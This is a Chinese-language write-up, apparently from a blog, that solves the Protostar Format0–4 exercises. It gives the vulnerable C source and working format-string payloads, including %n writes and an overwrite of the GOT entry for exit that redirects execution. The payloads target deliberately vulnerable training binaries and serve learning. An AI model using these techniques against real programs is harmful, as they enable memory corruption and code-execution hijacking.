Protostar Format Write Up
2017-11-22 21:14
579 查看
Protostar Format0
Protostar Format1
Protostar Format2
Protostar Format3
Protostar Format4
小结
思路:这题还是在考溢出,要求输入不能超过10个字节,这就不好输入64个字符去溢出了(事实上可以这么做,因为程序并没限制输入长度)。
思路:要让target的值不为0,可以通过printf的格式化字符参数%n对target进行写入。查看target的地址
找printf的格式化字符串偏移
要减掉74个偏移
What!AAAAAAA(41414141414141)哪去了?再增加5个偏移试试
这里明明多出了5个偏移。减掉3个偏移试试
这次将AAAAAAA放到了最后的8个字节了,将前4个A改成target的地址,倒数第2个%x改成%n,对target进行写入(从输出我们看到这个数值肯定不为0)
成功了。这里我用7个A,而不用4个A,因为根据抽屉原理,至少7个A可以覆盖一个连续的4字节。
但这个输出好难看,优化一下,用n$去直接定位偏移,修改payload如下:
这里的124和125是重新测的偏移(中途退出了protostar的登录,重新登录进去后偏移变了),另外发现/opt/protostar/bin/format1与./format1的偏移也是不一样的。
思路:与上题类似,但这里需要将target的值赋为64,可以通过string+%n实现。首先找到target的位置
找printf的偏移
偏移在第4个位置
要使target为64,而需要在格式化字符串输出到%n时达到64个字符,其中200b7fd8420bffffb04有19个字符,除了要输入的target的占4个字节,还差41个字符,构造payload
美化一下
这里有个有趣的地方:引号问题。上面这个payload,如果将单引与双引交换,则通不过。以为是%4n在单引号下输出有问题,但是在python2和python3下测试print′n’与print “%4$n”的结果是一样的,好吧,先mark一下。以后还是用’”“’,不用”””(这跟sql里的常用写法反过来)
思路:要将target写入0x01025544,%n写入的是一个字节,那就可以一个字节一个字节地写入,如果后一个字节要放的数字比前一位要放的数字小,则利用高位溢出
找target位置
找printbuffer偏移
得偏移量为12,写入target
要使得target的存储状态为:44 55 02 01
0x44 - 0x10 = 0x34 = 52
0x55 - 0x44 = 0x11 = 17
0x02 - 0x55 -> 0x102 - 0x55 = 0xad = 173
0x01 - 0x102 -> 0x201 - 0x102 = 0xff = 255
构造payload:
思路:从程序上看,应该是要控制eip,使其跳转到hello的地址上去。而printf后有exit,也就可以利用printf来控制exit跳转到hello
exit本应该跳的地址
hello的地址
也就是说,要将0x8049724对应的内容改写为0x80484b4,这可是printf的强项。查找printf的输入偏移
要将0x8049724对应的内容改写为0x80484b4,即0x8049724对应的内容存储状态为:b4 84 04 08
0xb4 - 0x10 = 0xa4 = 164
0x84 - 0xb4 -> 0x184 - 0xb4 = 208
0x04 - 0x184 -> 0x204 - 0x184 = 128
0x08 - 0x204 -> 0x208 - 0x204 = 4
构造payload:
对于format1,去测printf偏移时,偏移量变来变去是为什么?为什么后面的format却没有这样的问题?
为什么以绝对路径和相对路径执行程序的结果会不同?
为什么python的printf ‘“xxx”’与printf “‘xxx’”的结果会不同?
Protostar Format1
Protostar Format2
Protostar Format3
Protostar Format4
小结
Protostar Format0
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }
思路:这题还是在考溢出,要求输入不能超过10个字节,这就不好输入64个字符去溢出了(事实上可以这么做,因为程序并没限制输入长度)。
$ /opt/protostar/bin/format0 `python -c "print '%64c\xef\xbe\xad\xde'"` you have hit the target correctly :)
Protostar Format1
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }
思路:要让target的值不为0,可以通过printf的格式化字符参数%n对target进行写入。查看target的地址
$ objdump -t ./format1 | grep target 08049638 g O .bss 00000004 target
找printf的格式化字符串偏移
/opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*200+'%x.%x'"` AAAAAAA804960c.bffffa78.8048469.b7fd8304.b7fd7ff4.bffffa78.8048435.bffffc3c.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffaf8.b7eadc76.2.bffffb24.bffffb30.b7fe1848.bffffae0.ffffffff.b7ffeff4.804824d.1.bffffae0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffaf8.edc5b76f.c788c17f.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffb24.8048450.8048440.b7ff1040.bffffb1c.b7fff8f8.2.bffffc21.bffffc3c.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffc0b.1f.bfffffe1.f.bffffc1b.0.0.d1000000.5b002451.e0080918.7d641906.695bcde6.363836.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e
要减掉74个偏移
$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*126+'%x.%x'"` AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd1a.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.b5cb15a7.9f85c3b7.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcff.bffffd1a.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.e9000000.da822fcd.c26c251e.34113db.699ad322.363836.0.0.0.2f000000.2f74706f.746f7270.6174736f.69622f72.6f662f6e
What!AAAAAAA(41414141414141)哪去了?再增加5个偏移试试
$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*131+'%x.%x'"` AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd0b.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.842a5824.ae648e34.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf0.bffffd0b.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.f2000000.7c367e91.ddadbdee.74710e02.696d86b4.363836.74706f2f.6f72702f.74736f74.622f7261.662f6e69.616d726f.41003174.41414141.78254141.2e78252e.252e7825.78252e78.2e78252e.252e7825
这里明明多出了5个偏移。减掉3个偏移试试
$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*128+'%x.%x'"` AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.42e32c15.68adfa05.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.27000000.c62c7774.ebb55e8a.2e784acf.69741b43.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141
这次将AAAAAAA放到了最后的8个字节了,将前4个A改成target的地址,倒数第2个%x改成%n,对target进行写入(从输出我们看到这个数值肯定不为0)
$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08AAA'+'%x.'*128+'%n.%x'"` 8�AAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.7afccad0.50b21cc0.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.c9000000.3561420f.7fd7c285.ed64dd0e.6910e8b1.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461..25414141you have modified the target :)
成功了。这里我用7个A,而不用4个A,因为根据抽屉原理,至少7个A可以覆盖一个连续的4字节。
但这个输出好难看,优化一下,用n$去直接定位偏移,修改payload如下:
$ ./format1 `python -c 'print "\x38\x96\x04\x08AAA"+".%124$n.%125$x"'` 8�AAA..2e414141you have modified the target :)
这里的124和125是重新测的偏移(中途退出了protostar的登录,重新登录进去后偏移变了),另外发现/opt/protostar/bin/format1与./format1的偏移也是不一样的。
Protostar Format2
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }
思路:与上题类似,但这里需要将target的值赋为64,可以通过string+%n实现。首先找到target的位置
$ objdump -t ./format2 | grep target 080496e4 g O .bss 00000004 target
找printf的偏移
$ echo `python -c "print 'AAAAAAA'+'.%x'*200"` | /opt/protostar/bin/format2 AAAAAAA.200.b7fd8420.bffffb24.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.78252e.b7ec6365.b7ff1040.bffffcf8.80484c6.80484e0.0.bffffd78.b7eadc76.1.bffffda4.bffffdac.b7fe1848.bffffd60.ffffffff.b7ffeff4.8048285.1.bffffd60.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffd78.c4282622.ee6a5032.0.0.0.1.80483a0.0.b7ff6210.b7eadb9b.b7ffeff4.1target is 0 :(
偏移在第4个位置
$ echo `python -c "print 'AAAA'+'%x'*4"` | /opt/protostar/bin/format2 AAAA200b7fd8420bffffb0441414141 target is 0 :(
要使target为64,而需要在格式化字符串输出到%n时达到64个字符,其中200b7fd8420bffffb04有19个字符,除了要输入的target的占4个字节,还差41个字符,构造payload
$ echo `python -c "print '\xe4\x96\x04\x08'+'A'*41+'%x'*3+'%n'"` | /opt/protostar/bin/format2 ��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA200b7fd8420bffffb04 you have modified the target :)
美化一下
$ echo `python -c 'print "\xe4\x96\x04\x08%60c%4$n"'` | /opt/protostar/bin/format2 �� you have modified the target :)
这里有个有趣的地方:引号问题。上面这个payload,如果将单引与双引交换,则通不过。以为是%4n在单引号下输出有问题,但是在python2和python3下测试print′n’与print “%4$n”的结果是一样的,好吧,先mark一下。以后还是用’”“’,不用”””(这跟sql里的常用写法反过来)
Protostar Format3
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); }
思路:要将target写入0x01025544,%n写入的是一个字节,那就可以一个字节一个字节地写入,如果后一个字节要放的数字比前一位要放的数字小,则利用高位溢出
找target位置
$ objdump -t /opt/protostar/bin/format3 | grep target 080496f4 g O .bss 00000004 target
找printbuffer偏移
$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format3 AAAAAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78 target is 00000000 :(
$ python -c 'print "AAAA"+".%x"*12' | /opt/protostar/bin/format3 AAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141 target is 00000000 :(
得偏移量为12,写入target
$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%12$n%13$n%14$n%15$n"' | /opt/protostar/bin/format3 �������� target is 10101010 :(
要使得target的存储状态为:44 55 02 01
0x44 - 0x10 = 0x34 = 52
0x55 - 0x44 = 0x11 = 17
0x02 - 0x55 -> 0x102 - 0x55 = 0xad = 173
0x01 - 0x102 -> 0x201 - 0x102 = 0xff = 255
构造payload:
$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$n%17c%13$n%173c%14$n%255c%15$n"' | /opt/protostar/bin/format3 �������� � � you have modified the target :)
Protostar Format4
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }
思路:从程序上看,应该是要控制eip,使其跳转到hello的地址上去。而printf后有exit,也就可以利用printf来控制exit跳转到hello
exit本应该跳的地址
$ gdb -q format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) disassemble vuln Dump of assembler code for function vuln: 0x080484d2 <vuln+0>: push %ebp 0x080484d3 <vuln+1>: mov %esp,%ebp 0x080484d5 <vuln+3>: sub $0x218,%esp 0x080484db <vuln+9>: mov 0x8049730,%eax 0x080484e0 <vuln+14>: mov %eax,0x8(%esp) 0x080484e4 <vuln+18>: movl $0x200,0x4(%esp) 0x080484ec <vuln+26>: lea -0x208(%ebp),%eax 0x080484f2 <vuln+32>: mov %eax,(%esp) 0x080484f5 <vuln+35>: call 0x804839c <fgets@plt> 0x080484fa <vuln+40>: lea -0x208(%ebp),%eax 0x08048500 <vuln+46>: mov %eax,(%esp) 0x08048503 <vuln+49>: call 0x80483cc <printf@plt> 0x08048508 <vuln+54>: movl $0x1,(%esp) 0x0804850f <vuln+61>: call 0x80483ec <exit@plt> End of assembler dump.
(gdb) x/i 0x80483ec 0x80483ec <exit@plt>: jmp *0x8049724
hello的地址
(gdb) p hello $1 = {void (void)} 0x80484b4 <hello>
也就是说,要将0x8049724对应的内容改写为0x80484b4,这可是printf的强项。查找printf的输入偏移
$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format4 AAAAAAA.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825 $ python -c 'print "AAAA"+".%x"*4' | /opt/protostar/bin/format4 AAAA.200.b7fd8420.bffffb04.41414141
要将0x8049724对应的内容改写为0x80484b4,即0x8049724对应的内容存储状态为:b4 84 04 08
0xb4 - 0x10 = 0xa4 = 164
0x84 - 0xb4 -> 0x184 - 0xb4 = 208
0x04 - 0x184 -> 0x204 - 0x184 = 128
0x08 - 0x204 -> 0x208 - 0x204 = 4
构造payload:
$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$n%208c%5$n%128c%6$n%4c%7$n"' | /opt/protostar/bin/format4 $�%�&�'� $ code execution redirected! you win
小结
格式化字符串漏洞并不神秘,只要用心去调一调。但是,经典漏洞确实是经典,是过去,在当今的操作系统上并不是直接按照当年的套路就可以复现。这里也留下了3个问题待思考:对于format1,去测printf偏移时,偏移量变来变去是为什么?为什么后面的format却没有这样的问题?
为什么以绝对路径和相对路径执行程序的结果会不同?
为什么python的printf ‘“xxx”’与printf “‘xxx’”的结果会不同?
相关文章推荐
- Protostar Heap Write Up
- Protostar Stack Write Up
- writeup from 独自等待
- 0ctf flagen writeup
- FFMPEG学习【libavformat】:I/O Read/Write
- Write a program to print the fibonacci series sum upto a particular no. using recursion.
- "百度杯"CTF 9月2日 WriteUp.md
- CTF writeup 2_南邮网络攻防训练
- Flare-On Challenge3 Writeup
- iscc 2014 writeup(图片处理题)
- 【网安随笔】CTF-writeup -环环相扣的隐写
- Conversion to Dalvik format failed: Unable to execute dex: Multiple dex files define Lcom/squareup/o
- WeChall mysql WriteUp
- HGAME-WEEK2-WRITE-UP
- 南京邮电大学攻防平台 逆向writeup
- MOCTF-WRITE-UP(二)
- pwnable.kr-cmd1-Writeup
- MOCTF-WRITE-UP(一)
- Bugku ctf writeup--web篇-文件包含2
- sharif ctf pwn t00p_secrets writeup